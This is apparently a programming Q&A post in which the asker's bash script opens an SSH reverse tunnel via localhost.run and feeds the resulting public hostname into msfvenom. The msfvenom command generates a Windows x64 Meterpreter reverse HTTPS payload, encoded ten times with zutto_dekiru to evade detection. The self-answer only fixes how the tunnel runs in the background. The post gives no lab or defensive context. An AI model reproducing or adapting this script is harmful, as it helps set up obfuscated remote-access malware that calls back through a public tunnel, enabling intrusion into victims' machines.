Soggy Suck
Soggy Suck

Reputation: 31

How do I grab a variable from the output of another command and leave the command running

This is my current code. It hangs after executing the ssh command.

#!/bin/bash

ssh_output=$(ssh -f -R 80:localhost.run:80 localhost.run 2>&1)

line_23=$(echo "$ssh_output" | sed -n '23s/ .*//p')
echo $line_23 > line_23.txt 
LHOST_value="$line_23"

msfvenom_command="msfvenom -p windows/x64/meterpreter_reverse_https -e x64/zutto_dekiru -i 10 -f raw LHOST=$LHOST_value LPORT=80 HandlerSSLCert=/home/jeremy/Desktop/msf/cert.pem -o Bitch.bin"

gnome-terminal -- bash -c "$msfvenom_command"

I need it to have the original ssh command still running and run msfvenom separately.

Upvotes: 0

Views: 44

Answers (1)

Soggy Suck
Soggy Suck

Reputation: 31

If anyone was wondering. I figured it out.

#!/bin/bash

ssh_output_file="ssh_output.txt"
ssh -o ServerAliveInterval=60 -R 80:localhost.run:8080 -o ControlMaster=yes -o ControlPath="$HOME/.ssh/control-%r@%h:%p" localhost.run > "$ssh_output_file" 2>&1 &
sleep 5
line_24=$(sed -n '25s/ .*//p' "$ssh_output_file")
echo "$line_24" >> output.txt
rm "$ssh_output_file"

LHOST_value="$line_24"

Upvotes: 0

Related Questions